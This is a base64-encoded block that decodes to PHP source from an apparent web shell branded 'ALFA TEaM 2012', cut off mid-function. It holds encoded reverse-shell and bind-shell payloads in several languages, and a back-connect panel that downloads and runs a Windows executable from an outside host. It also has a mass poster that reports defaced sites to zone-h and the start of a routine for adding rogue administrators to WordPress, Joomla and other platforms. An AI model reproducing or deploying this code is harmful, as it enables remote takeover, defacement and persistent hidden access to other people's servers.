k4rZ1U9IjsKJHB5dGhvbj0icFZSdFQ5c3dFUDZjU3YwUHhwdFdSODBNN1lZMHdZSlVRWmpRQmxSdHAzMEFWcVhPcFltV09wSHRRUG5DYjUvdEpHMUFIVUthcXJhK1Y5OXo5NXpmN2UyWFV1d3ZVcjRQL0I0Vmp5ckplYmVUcm9wY0tDVEFrK1dpRURrREtiMWNldkpSZjNQMkI1U24waFYwTzRXUGNiZVQyTjhJWWlRVHlETEMzS051eHpGeC9qYWVqdk1DT0dHZTlmRm5vdFRaVlpTWDZwblR4VGd3YWhCaWx6cmxMN1d1dmttQUtnVkhSazJybEZSQUdCRzMzNmgwdXBacVZTamlVdUFzajREMFNoVi8vTkxUZVNvSUlWTnB6bXNNYVl4eVNYbTRnajBmYzRXTnpvbDlSdU0wQTU0VGM3dWpQWFJqRkt3SWhyVnQzQ3lZWFBwckJXSjFQSjRPL043NzhhK3prOTV4YmRXcVk5dHltYUNQS2ZyNkFmZWxFaVIyK3hpZHRJWGhWaklYUVNiQkZ2Q1E2TnVSNmFBVkhTVWVxNE1qZEdrQzJEMFpIQXcvdXpRQ0N4RmJpTmdXNjhDYVFhRnEveUtVc3RJMnVSMkRXV01qd2owNXFEWE93aGRBSllTQ0pRU3o2QmFSbTkrMzhxN3ZZazk0Y1JZdXBYRzQrSFoxUFFsT1I5UEFyZU4wcWtXVG8rNWxFYXFFcGpKS0JWblFwY2pMZ2d4Y2QrTmttc21TRjliR3FFY0pQQ0wvbW1EajE4S2k4eGwrV1ZZS3QxMUpxVkRJSTR0VW53M1dPcnVSS2tlYkI5WGtPZysxMUhDa3FlQm9TejU4eTNGZkY3OEV4UjRNei9DSjNvbWxyNWxCUTdHODEwdFY5WFhwK3Y3UTdvZS92Qm5jZFR1UXRTeWYyaFluMFllaGRkR1Z3RHBWdWh0bTZWS3VTS0ZQMHErMmtWWi9wSlpHNS9PTHEyQldyeXFkWHA5K24wOW5rMkIwYVdJMFRHVXNlYkVKbUY3L21CdXZkc3g4RXZ5Y0JxT3pzNGxuTG4xWnZhU2F3UkVoK0lEYUQvWUtPd0JKczFUdkFpZUhSakxNMUNzZnVyN3VBalBFc3l2VDRxQjVSNmpNQUFxTGJUdThuYXZYVUlEZ0p6VEs0aEROSUZ5aHFaa3ZldElUMk0ySkxTRmVDOGVicDJGM2xzM0Q4S3daZG1BR0p0TEV6VGtIcGdoSjZtYnN4bm40QnB6eS8zQytGdjVHbk5MOUN3PT0iOwokcGVybD0ibFpMUmpwTkFGSWF2MjZUdk1PSnNDOGtZV3IxYnBKRlEzRFJyUzhPd0dtT1ZzUFNzVEtRRGdWbTNtKzcyMlowQlZpZkdHTDA3NTUvRGQrQWJuait6YjV2YXZtYmNCdjRkVlZBWG8rRnRBMmdabnAvVE12c0d3aGtOY2RtNCtFdW9xaVozRFRoVVpTMVFIRVFyOXlDZzNqc2JPbk1uVzd6NXNOak9KMDUvTGtPbkpUYzVlc0VNK1RTN01SWHF0TGZ2Wk15c1k0czc4OE1WM1FUK0diSXZEZWRSTGhIdVZ4QlZYWXJ5K3A2bmV6QW5JcXNtbGlRMDdTdVpsSXczYjVQbE9vakptSWIrWlVMaktQQldCQXZyNFdISHdMUzZiVys4Nk9LOTY4NnM0Mmc0d0pXTFZmOXArbG1lRGhvUWlsWldDa2ZEZDRrQ1NTQU5reWk0b29HM1dFUmtwa0FEK1JFN09hVEcwOTJ1VGhnM2NVV1dheldTZU91UGxyWjFVTEJHQUpmanIvUTB6VEtRbTN4Q3JXNjVKUHJFT0NHdnVFbFJET2tlMFJ5S0FwMjIzQ0RUZHFpc2dDTWFMNVpyWXJ3ZSs0YnpGSVJYTVRIbWVoSkVVWi9JNStBQUdaSnF0ZlZaVVRaZytwYlRGZlJub2VoYUk4bGFKNmxXQjJRQ1RXVWxMd2VLNXBmWWwzOFNpL08rblhVdGN4a0hrYVNpbE5weVhRcE8zZCtjWXFhZlp5WG5rS243d2FtZXQvYm9QOWd6ZTN2ek1UVXM1eW5wOWVsUjcwOUZmeFA0Zjk0NlczQlUra3o1SnozK0FBPT0iOwokcnVieT0idFZiN2I5TTZGUDdaK1N1TU4waHpWeExHUStoMk42dkdVMGdncWpHNFFtUVh0YzVwWXkxMWd1M1FvVzM4N2ZpVnJxWHQxaXZkNjZwMWVzN244L1Q1MnAwN1NTTkZNbUk4QWY0ZGkyYjBJOWpCaFZLMTdDWEpoS21pR2NXMG1pYWpSMDhmbjduUFFNQzNoZ25Bb2F6b0dhandXbEFQVmNHSFV3aURJSWN4bGcwOWt3RVNvQnJCOGZISFo1Ky9EdDRlbmJ4NmYvd3V6cXNacDBNSjhYU29hTkVKcDNMRytLVjVUeG1mek1Lb3IwUUR2Zkd3bEJBQXo1MUZBY1BTT09sSUpTSnRPZFY3Z05nWXYySWx4SERPcEpKOXI5VGFnWThuNWpDejByZzFFS3ZxcXc3TkdEYkhiYVJZRmNDeFNFVThrYzJvazJSSjBpVlpSaUpzWVQ0TjRhTFJoNDZPWDMrS1MrQVRWYVRwZm9EMU1xSXZEMDdUbjhrL1h4N2MvL1AwWXIvNzVHbzM2ZGZwRzY1Z0FxTGpFVkZQQjZ2c0dabWVQQjk4QVBFZGhJMlRrRzRkV1ExTlpUeWtGR29IcEhFdEdGZVkyRFpnV1VCWjRoNm1GZWRBRmVRWkp4WTNnZ25qOXNrc0hTaXZsTzhGWGxqamxKb3FzQ1VobkFQRjB2b1pkd2ljMTVWUStPVGw4YnYwWElHWUhndys3S2RodGp2NCswVjJHQjU0dlJZZTJEc2tDM3lmNGV5djdON2RIR2VIZG52b2R0SWRtMWMwOXdhbXNZdXUyL1RtUFNZeGlmYklJVmxDelFyZGFWenEyQ2VnbGhNeVN3eVpCQXhDVk9LWnFFenlwV2xHemlBVC9kMWtCZStyVThhMHFLWjFtaEt5QXZFd1k0Zm1PUDRqWVdzaFpwVnA2ZStPUmlhc0c0YVJNN3p4Ukh0MWN6MC9WRlhpUjc5VFJodlJ6c2U4UUxjZ1h6Q2h2V3ZMTndITlpkNmsyNjRqQ3czMVpjcG12UnZMdEM1cFY2ZXRFN29OL3ArbUJSdE52WGtmMTFVTnZGTjJpU0RSeFNXckxsdnpyREpzays4UlBaZDdLNzZ1Z20zRC9sMjIrTDE5RmlCcGMzM3ZOZm5ONlFXNGJNUjFCakttWmJXUWtVdzVLNFBXbHV2aEVyRTl0QVM1Z2RpMG8xVnFPOURTSXJYZjlrODF4NW9DK29BYzRUckdzejhlanZGMkxvb3J5M3BJYnNGeHlCRWNRa3ZVaGhBYWE3NjBqSWFNdS8rYnlGQ2IyVHpvMVF1bGxTMWhTVWRZV29KdUlTa2JQMXJEVE1qTEY2bkl5dEJtNGtIdG9UVTBnOXJEaTR6aWhVdms0VVMyZDNiZG1MQ3R5MjlNc0RtS2RwQlgzUzVyL28xejhNaDEweW0zbk00bHAzNTNtLzh6c0hiZ2tKODJFNldiTS8xa0p3ejU4WEtUWjhGRzhncz0iOwokbm9kZT0iblZITGFzTXdFRHdya0g4UXZsaUNvRURUVzhpaDlCUFNXL3BBdGRlUlFKWmNTWFlLSWZuMnlyS2Q1dEdXWWgrRWQyZDJORHRxdU1XdTRqdU5WOWpDUnkwdGtEUVRVdVZ2bFRVWk9KZFNGZ25MNmFRSlpBMytuQnJLbFBhUTh4WjRlWTUyblJNaE05b1pCUmRYZGExSTZWVUVLQlVvNmZ4ZDZya1RhVUJrUVhvM3JGTGNGOGFXck9RK0UyVCt1Z3NzU2VuM1hGYm1ERDRoUFNseXUyMENNQ2kwWmFmWi9qRUZldXZGYXJXZysra0V0WHdSeUdFdmxnWHpIdFpnRzdDa3FIWG1wZEhFUlI1eWJHZWxCNUljOFlNcU9INXFWMTlIRDhkbm5iVDc0UDdydGdxaU1VY1NqWjdqVGpEbmM2bVpCVmVYUU9nMVpHclB3czFKemoxUFpvTVRUTnFhN2djbnNWb2VicFhCMnBIamY0ME5wbSttVVhjS3BxVHpvR1BLbTd1WHRubVlUa0E1d05mWjM1K3lkeGZaUHhxdG9ZdTlWNW5GMTl3c290eC9IZ0g5bGo3NklYWTBNbTgwTW1nMEx1SERGdz09IjsKJGM9InRWSnRiOW93RVA3Y1N2MFBIcDFhcC9XQXNPMFRUYVdvWkJMYUNoSEpORTBiaWxMSE5LY1pHOFZtZ2s3cmI5OGxCQXJaaS9hbFVxemNQZmY0N256UG5ZTGljcGtKY21Wc0JycWRYNThjbis1aEJhajczOEJNd2wwVFhKdU9YUytFK1FOdU5QOG1iQ09naEFVOEhWQ053RklCVnFoQVVKYk1VMUMwTk5MaW5qT2Vwd1c1UVBQN2w2bno0K1Q0cUl3WXhwbjIzRDY2MlBDU0k0SVYweXdyRWxBRVNoeG10THp2ZWIzcTFoRzBEYWhrbHM1QnJqMy9YVEljQlhIL0tiRFFoZlZ5cTVXaHFkVkFxNEx1MUhIMk9HWCt0cWwrRlZYUzRjZ2ZEQ2FKUC9xODRSbHY4M0phRjJEUitPWjlFc1dUd0w5bDNab2piRW5TQzBzTnhqOGtKYWVpSnBQZ1l4U1VHZG1aWmdZZWhKNVJ2VzFoUmw4WVI2ekEwanJSSGFnTVU5REdCTWlGY3dhc3UzSnJtc1RoQ29YRXR4dWZleW5ub3FyZWZlb0pVM0hXZWlTK25LVWtGdW1jUkxtUWtqeCtWUzNXZTdNbFpzdEZENG1Ibm52ZzllcVVheXc3cHkyeEtrZEw0bUJ5NjYyc0tPYjlNSEs5ODVmaHA4SDFlYitPSW9TbTRLU0RqK3FZbkx5Q1Z0MnQxRVpRWGprLzhRaHBCTmxwKy9wWnRDMjN0TEkyek42MG52ZURLUFFXWWpoMWlXUGRNaTdkeTMxa2wvMmZHekVNdzhrNEhpZnhUYmdUbVhLdGxPRDJyOHJXZTlHSU9ZNXoxVDFZajBwVDg3K2Ftb2JuSG5qUG9hblphb3JmTHc9PSI7CiRqYXZhPSJsVlJOYjlzd0REMm5RUCtENEpNOUJHNlQwNGJDd3o2d3c0QUJIWmJldWh3VWhiRzEycklnMFhHQ05QdnRvejdzdW1zdlBkaVd5Q2Z5OFpHeWJIUnJrUDNoZTU3TE5uOTNjM2toSnlZRjZHMlhGN3JiMUZJd1VYTnJHYTkzL0E1NGM3cThtR2tqOXh5QldlUklnSjFVdkk0d2pRd09DR3ByMlYxbGdHOGRmanp3WGVrT1YwajJoa2w3TTNYZGR2amthenYwRE1nZE9HaE1uNStkdnppUW5iQ1NOcGUyb01oK1NjYkNSVHFIVUo5dTkyQ00zTUlrN3I2VlcyWTZsV2FlNXd6Tk1TeG1teVBDL1pwdFdNRVU5TXh2M3k4K0xOYzN3UzhWTWtGT3l1UEtURGRaZFBTVnJDRVZINHZyak1WWU0yS1I5MFlpcEp2NTlWd01VRy9mMVoydDB0SDBhc3l6LzRTMzRDaXE5TnRCZ0ViWktnYlpDWEpTVVpFV1hEemNHUzZBd25td2U0WHFZNzJ4WTc3c2hrdVZrbjVTbFZRb042VU5JcmpLM0RqNDNNSFBSTE1sWHNuVlJxb3JXeVhlSlhmcDZtZ1JtcndFL0dsYURRYVBhZExhWFBFR2tpekg5a2ZiZy9uS0xSSEtwZHJDNFhhWEpyMVVTZWJrT2NXbzlFa0MzNWl0ZDlhLzdET05ISE16eDFZVjFEWDcrMXVGekpQZTlDNzVGOXJiS09HcUZRK0FySXA5Qzl2b0c3dEwxRjI5ZVEycXhLb29Gckg5TTM4TkNwcFRoQkpNcnJteFFCdVB2cjllRC8xWWdhRlppcW5za0dwaVRGMmdBZTI0Mkp3TDE3R2gwYUdYVUZ0Zy81Tlp2cFZNRUUxcXduclhZajFKUEJGQjZqbWI4RHEvTGdWN2ZHU3Y4NW5ld0ZLNnNpdW4vc1E4anZHenkxbTJJM1pxSDhIa0gyN0hZS0p4RXVCK0ozVHdWNmRRTnVDT3h5Vk5FeHhBcERRNFdmeFBrRm8wdFl0WU1PbXNYMUNiT3lKREFvZGVQcUZMOTBmUkx4bU84RVZPVjhlNDl1bmx1SHlTMGIvZWNEUHBPZjhEIjsKZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgQmFjayBDb25uZWN0IHw8L2Rpdj48YnI+PGJyPiI7CmVjaG8gIjxmb3JtIG9uU3VibWl0PVwiZygnY29ubmVjdCcsbnVsbCx0aGlzLnNlbGVjdENiLnZhbHVlLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLmNibWV0aG9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+CjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+TWVodG9kOjwvZGl2PiA8c2VsZWN0IG5hbWU9J2NibWV0aG9kJyBvbkNoYW5nZT0nY3RsYmModGhpcyk7JyBzdHlsZT0nd2lkdGg6MTIwcHg7Jz48b3B0aW9uIHZhbHVlPSdiYWNrJz5SZXZlcnNlIFNoZWxsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nYmluZCc+QmluZCBQb3J0PC9vcHRpb24+PC9zZWxlY3Q+IDxkaXYgY2xhc3M9XCJ0eHRmb250XCI+VXNlOjwvZGl2PiA8c2VsZWN0IG5hbWU9J3NlbGVjdENiJz4iOwokY2JBcnIgPSBhcnJheSgicGhwIj0+IlBocCIsInBlcmwiPT4iUGVybCIsInB5dGhvbiI9PiJQeXRob24iLCJydWJ5Ij0+IlJ1YnkiLCJjIj0+IkMiLCJqYXZhIj0+IkphdmEiLCJub2RlIj0+Ik5vZGVKcyIsImJjd2luIj0+IldpbmRvd3MiKTsKZm9yZWFjaCgkY2JBcnIgYXMgJGtleT0+JHZhbCl7ZWNobygiPG9wdGlvbiB2YWx1ZT0neyRrZXl9JyAiLigkR0xPQkFMU1snc3lzJ109PSd3aW4nPydzZWxlY3RlZCc6JycpLiI+eyR2YWx9PC9vcHRpb24+Iik7fQplY2hvICI8L3NlbGVjdD4gPGRpdiBpZD0nYmNpcEFjdGlvbicgc3R5bGU9J2Rpc3BsYXk6aW5saW5lLWJsb2NrOyc+PGRpdiBjbGFzcz1cInR4dGZvbnRcIj5JUDo8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz48L2Rpdj4gPGRpdiBjbGFzcz1cInR4dGZvbnRcIj5Qb3J0OiA8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIHNpemU9JzUnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG5hbWU9J3BvcnQnIHZhbHVlPScyMDEyJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48cD48ZGl2IGlkPSdiY1N0YXR1cyc+PHNtYWxsPlJ1biBgIDxmb250IGNvbG9yPSdyZWQnPm5jIC1sIC12IC1wIHBvcnQ8L2ZvbnQ+IGAgb24geW91ciBjb21wdXRlciBhbmQgcHJlc3MgYCA8Zm9udCBjb2xvcj0ncmVkJz4+PjwvZm9udD4gYCBidXR0b248L3NtYWxsPjwvZGl2PjwvcD48L2NlbnRlcj48L2I+PC9mb250Pjxicj4iOwppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYhZW1wdHkoJF9QT1NUWydhbGZhMSddKSl7CiRsYW5nID0gJF9QT1NUWydhbGZhMSddOwokaXAgPSAkX1BPU1RbJ2FsZmEyJ107CiRwb3J0ID0gJF9QT1NUWydhbGZhMyddOwokYXJnID0gKCRfUE9TVFsnYWxmYTQnXT09J2JpbmQnPyRwb3J0OiRwb3J0LicgJy4kaXApOwokdG1wZGlyID0gQUxGQV9URU1QRElSOwokbmFtZSA9ICR0bXBkaXIuJy8nLiRsYW5nLnVuaXFpZCgpLnJhbmQoMSw5OTk5OSk7CiRhbGxvdyA9IGFycmF5KCdwZXJsJywncnVieScsJ3B5dGhvbicsJ25vZGUnKTsKZXZhbCgnJGxhbj0kJy4kbGFuZy4nOycpOwppZihpbl9hcnJheSgkbGFuZywkYWxsb3cpKXsKaWYoX193cml0ZV9maWxlKCRuYW1lLF9fZ2V0X3Jlc291cmNlKCRsYW4pKSl7CmlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewokb3MgPSAoJEdMT0JBTFNbJ3N5cyddIT0nd2luJyk/JzE+L2Rldi9udWxsIDI+JjEgJic6Jyc7CiRvdXQgPSBhbGZhRXgoIiRsYW5nICRuYW1lICRhcmcgJG9zIik7CmlmKCRvdXQ9PScnKXskb3V0PSI8Zm9udCBjb2xvcj0nZ3JlZW4nPjxjZW50ZXI+WyBGaW5pc2hlZC4uLiEgXTwvY2VudGVyPjwvZm9udD4iO30KZWNobygiPHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPnskb3V0fTwvcHJlPiIpOwp9Cn1lbHNlewplY2hvKCI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPjxmb250IGNvbG9yPSdyZWQnPjxjZW50ZXI+WyBGYWlsZWQuLi4hIF08L2NlbnRlcj48L2ZvbnQ+PC9wcmU+Iik7Cn0KfQppZigkbGFuZz09J2phdmEnfHwkbGFuZz09J2MnKXsKJGNvZGUgPSBfX2dldF9yZXNvdXJjZSgkbGFuKTsKJG91dCA9IG5sMmJyKGJjaW5pdCgkbGFuZywgJGNvZGUsJycsJycpKTsKZWNobygiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Y2VudGVyPnskb3V0fTwvY2VudGVyPjwvcHJlPiIpOwp9CmlmKCRsYW5nPT0nYmN3aW4nKXsKJGFsZmEgPSBuZXcgQWxmYUNVUkwoKTsKJHMgPSAkYWxmYS0+U2VuZCgnaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9iYy93aW5kb3dzLmV4ZScpOwokdG1wZGlyID0gQUxGQV9URU1QRElSOwokZiA9IEBmb3BlbigkdG1wZGlyLicvYmN3aW4uZXhlJywndysnKTsKQGZ3cml0ZSgkZiwgJHMpOwpAZmNsb3NlKCRmKTsKJG91dCA9IGFsZmFFeCgkdG1wZGlyLiIvYmN3aW4uZXhlICIuJF9QT1NUWydhbGZhMiddLiIgIi4kX1BPU1RbJ2FsZmEzJ10pOwp9CmlmKCRsYW5nPT0ncGhwJyl7CmVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IjsKJGNvZGUgPSBfX2dldF9yZXNvdXJjZSgkbGFuKTsKaWYoJGNvZGUhPT1mYWxzZSl7CiRjb2RlID0gIlwkdGFyZ2V0ID0gXCIiLiRhcmcuIlwiO1xuIi4kY29kZTsKZXZhbCgkY29kZSk7CmVjaG8oIjxjZW50ZXI+PGZvbnQgY29sb3I9J2dyZWVuJz5bIEZpbmlzaGVkLi4uISBdPC9mb250PjwvY2VudGVyPiIpOwp9CmVjaG8gIjwvcHJlPiI7Cn0KfQplY2hvICI8L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXpvbmVoKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKXsKZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Y2VudGVyPjxmb250IGNvbG9yPXJlZD48Yj48YmlnPjxiaWc+UEhQIENVUkwgTk9UIEVYSVNUIH4gWk9ORSBIIE1BU1MgUE9TVEVSIERPRVMgTk9UIFdPUks8L2I+PC9mb250PjwvYmlnPjwvYmlnPjwvY2VudGVyPjwvcHJlPiI7Cn0KJGhhY2ttb2RlID0gYXJyYXkoJ2tub3duIHZ1bG5lcmFiaWxpdHkgKGkuZS4gdW5wYXRjaGVkIHN5c3RlbSknLCd1bmRpc2Nsb3NlZCAobmV3KSB2dWxuZXJhYmlsaXR5JywnY29uZmlndXJhdGlvbiAvIGFkbWluLiBtaXN0YWtlJywnYnJ1dGUgZm9yY2UgYXR0YWNrJywnc29jaWFsIGVuZ2luZWVyaW5nJywnV2ViIFNlcnZlciBpbnRydXNpb24nLCdXZWIgU2VydmVyIGV4dGVybmFsIG1vZHVsZSBpbnRydXNpb24nLCdNYWlsIFNlcnZlciBpbnRydXNpb24nLCdGVFAgU2VydmVyIGludHJ1c2lvbicsJ1NTSCBTZXJ2ZXIgaW50cnVzaW9uJywnVGVsbmV0IFNlcnZlciBpbnRydXNpb24nLCdSUEMgU2VydmVyIGludHJ1c2lvbicsJ1NoYXJlcyBtaXNjb25maWd1cmF0aW9uJywnT3RoZXIgU2VydmVyIGludHJ1c2lvbicsJ1NRTCBJbmplY3Rpb24nLCdVUkwgUG9pc29uaW5nJywnRmlsZSBJbmNsdXNpb24nLCdPdGhlciBXZWIgQXBwbGljYXRpb24gYnVnJywnUmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBicnV0ZWZvcmNpbmcnLCdSZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHBhc3N3b3JkIGd1ZXNzaW5nJywnUmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBzb2NpYWwgZW5naW5lZXJpbmcnLCdBdHRhY2sgYWdhaW5zdCBhZG1pbmlzdHJhdG9yKHBhc3N3b3JkIHN0ZWFsaW5nL3NuaWZmaW5nKScsJ0FjY2VzcyBjcmVkZW50aWFscyB0aHJvdWdoIE1hbiBJbiB0aGUgTWlkZGxlIGF0dGFjaycsJ1JlbW90ZSBzZXJ2aWNlIHBhc3N3b3JkIGd1ZXNzaW5nJywnUmVtb3RlIHNlcnZpY2UgcGFzc3dvcmQgYnJ1dGVmb3JjZScsJ1Jlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIEZpcmV3YWxsJywnUmVyb3V0aW5nIGFmdGVyIGF0dGFja2luZyB0aGUgUm91dGVyJywnRE5TIGF0dGFjayB0aHJvdWdoIHNvY2lhbCBlbmdpbmVlcmluZycsJ0ROUyBhdHRhY2sgdGhyb3VnaCBjYWNoZSBwb2lzb25pbmcnLCdOb3QgYXZhaWxhYmxlJywnQ3Jvc3MtU2l0ZSBTY3JpcHRpbmcnKTsKJHJlYXNvbiA9IGFycmF5KCdIZWguLi5qdXN0IGZvciBmdW4hJywnUmV2ZW5nZSBhZ2FpbnN0IHRoYXQgd2Vic2l0ZScsJ1BvbGl0aWNhbCByZWFzb25zJywnQXMgYSBjaGFsbGVuZ2UnLCdJIGp1c3Qgd2FudCB0byBiZSB0aGUgYmVzdCBkZWZhY2VyJywnUGF0cmlvdGlzbScsJ05vdCBhdmFpbGFibGUnKTsKZWNobyAnCjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFpvbmUtaCBNYXNzIFBvc3RlciB8PC9kaXY+PGNlbnRlcj48YnI+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJnKFwnem9uZWhcJyxudWxsLHRoaXMuZGVmYWNlci52YWx1ZSx0aGlzLmhhY2ttb2RlLnZhbHVlLHRoaXMucmVhc29uLnZhbHVlLHRoaXMuZG9tYWluLnZhbHVlLFwnPj5cJyk7IHJldHVybiBmYWxzZTsiPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVmYWNlciIgc2l6ZT0iNjciIGlkPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iQUxGQSBURWFNIDIwMTIiIC8+Cjxicj4KPHNlbGVjdCBpZD0idGV4dCIgbmFtZT0iaGFja21vZGUiIHN0eWxlPSJ3aWR0aDo0MDBweDsiPic7CiR4PTE7CmZvcmVhY2goJGhhY2ttb2RlIGFzICRtb2RlKXtlY2hvKCc8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iJy4keC4nIj4nLiRtb2RlLic8L29wdGlvbj4nKTskeCsrO30KZWNobyAnPC9zZWxlY3Q+PGJyPjxzZWxlY3QgaWQ9InRleHQiIG5hbWU9InJlYXNvbiIgc3R5bGU9IndpZHRoOjIwMHB4OyI+JzsKJHg9MTsKZm9yZWFjaCgkcmVhc29uIGFzICRtb2RlKXtlY2hvKCc8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iJy4keC4nIj4nLiRtb2RlLic8L29wdGlvbj4nKTskeCsrO30KZWNobyAnPC9zZWxlY3Q+PGJyPgo8dGV4dGFyZWEgbmFtZT0iZG9tYWluIiBjb2xzPSI5MCIgcm93cz0iMjAiIHBsYWNlaG9sZGVyPSJEb21haW5zLi4uIj48L3RleHRhcmVhPjxicj4KPHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9ImdvIiAvPjwvcD4KPC9mb3JtPjwvY2VudGVyPic7CmlmKCRfUE9TVFsnYWxmYTUnXSAmJiAkX1BPU1RbJ2FsZmE1J10gPT0gJz4+Jyl7Cm9iX3N0YXJ0KCk7CiRoYWNrZXIgPSAkX1BPU1RbJ2FsZmExJ107CiRtZXRob2QgPSAkX1BPU1RbJ2FsZmEyJ107CiRuZWRlbiA9ICRfUE9TVFsnYWxmYTMnXTsKJHNpdGUgPSAkX1BPU1RbJ2FsZmE0J107CmlmKGVtcHR5KCRoYWNrZXIpKXsKZGllIChfX3ByZSgpLiI8Y2VudGVyPjxiPjxmb250IGNvbG9yID1cIiNGRjAwMDBcIj5bK10gWU9VIE1VU1QgRklMTCBUSEUgQVRUQUNLRVIgTkFNRSBbK108L2ZvbnQ+PC9iPjwvY2VudGVyPiIpOwp9ZWxzZWlmKCRtZXRob2QgPT0gIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVNFTEVDVC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iKXsKZGllKF9fcHJlKCkuIjxjZW50ZXI+PGI+PGZvbnQgY29sb3IgPVwiI0ZGMDAwMFwiPlsrXSBZT1UgTVVTVCBTRUxFQ1QgVEhFIE1FVEhPRCBbK108L2I+PC9mb250PjwvY2VudGVyPiIpOwp9ZWxzZWlmKCRuZWRlbiA9PSAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tU0VMRUNULS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIpewpkaWUoX19wcmUoKS4iPGNlbnRlcj48Yj48Zm9udCBjb2xvciA9XCIjRkYwMDAwXCI+WytdIFlPVSBNVVNUIFNFTEVDVCBUSEUgUkVBU09OIFsrXTwvYj48L2ZvbnQ+PC9jZW50ZXI+Iik7Cn1lbHNlaWYoZW1wdHkoJHNpdGUpKXsKZGllKF9fcHJlKCkuIjxjZW50ZXI+PGI+PGZvbnQgY29sb3IgPVwiI0ZGMDAwMFwiPlsrXSBZT1UgTVVTVCBJTlRFUiBUSEUgU0lURVMgTElTVCBbK108Zm9udD48L2I+PC9jZW50ZXI+Iik7Cn0KJGkgPSAwOwokc2l0ZXMgPSBleHBsb2RlKCJcbiIsICRzaXRlKTsKJGFsZmEgPSBuZXcgQWxmYUNVUkwoKTsKd2hpbGUoJGkgPCBjb3VudCgkc2l0ZXMpKXsKaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIil7CiRzaXRlc1skaV0gPSAiaHR0cDovLyIuJHNpdGVzWyRpXTsKfQokYWxmYS0+U2VuZCgiaHR0cDovL3d3dy56b25lLWguY29tL25vdGlmeS9zaW5nbGUiLCJwb3N0IiwiZGVmYWNlcj0iLiRoYWNrZXIuIiZkb21haW4xPSIuICRzaXRlc1skaV0uIiZoYWNrbW9kZT0iLiRtZXRob2QuIiZyZWFzb249Ii4kbmVkZW4pOworKyRpOwp9CmVjaG8gX19wcmUoKS4iPGNlbnRlcj48Zm9udCBjb2xvciA9XCIjMDBBMjIwXCI+PGI+WytdIFNlbmRpbmcgU2l0ZXMgVG8gWm9uZS1IIEhhcyBCZWVuIENvbXBsZXRlZCBTdWNjZXNzZnVsbHkgISEhWytdPC9iPjxmb250PjwvY2VudGVyPiI7Cn0KZWNobyAiPC9kaXY+IjsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFwd2NoYW5nZXIoKXsKYWxmYWhlYWQoKTsKCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEFkZCBOZXcgQWRtaW4gfDwvZGl2Pgo8Y2VudGVyPjxoMz4nOwokdmFscyA9IGFycmF5KCdXb3JkUHJlc3MnID0+IGFycmF5KCd3cCcsMiksJ0pvb21sYScgPT4gYXJyYXkoJ2pvb21sYScsMyksJ3ZCdWxsZXRpbicgPT4gYXJyYXkoJ3ZiJyw1KSwncGhwQkInID0+IGFycmF5KCdwaHBiYicsNiksJ1dITUNTJyA9PiBhcnJheSgnd2htY3MnLDcpLCdNeUJCJyA9PiBhcnJheSgnbXliYicsOCksJ1BocCBOdWtlJyA9PiBhcnJheSgnbnVrZScsOSksJ0RydXBhbCcgPT4gYXJyYXkoJ2RydXBhbCcsMTApLCdTTUYnID0+IGFy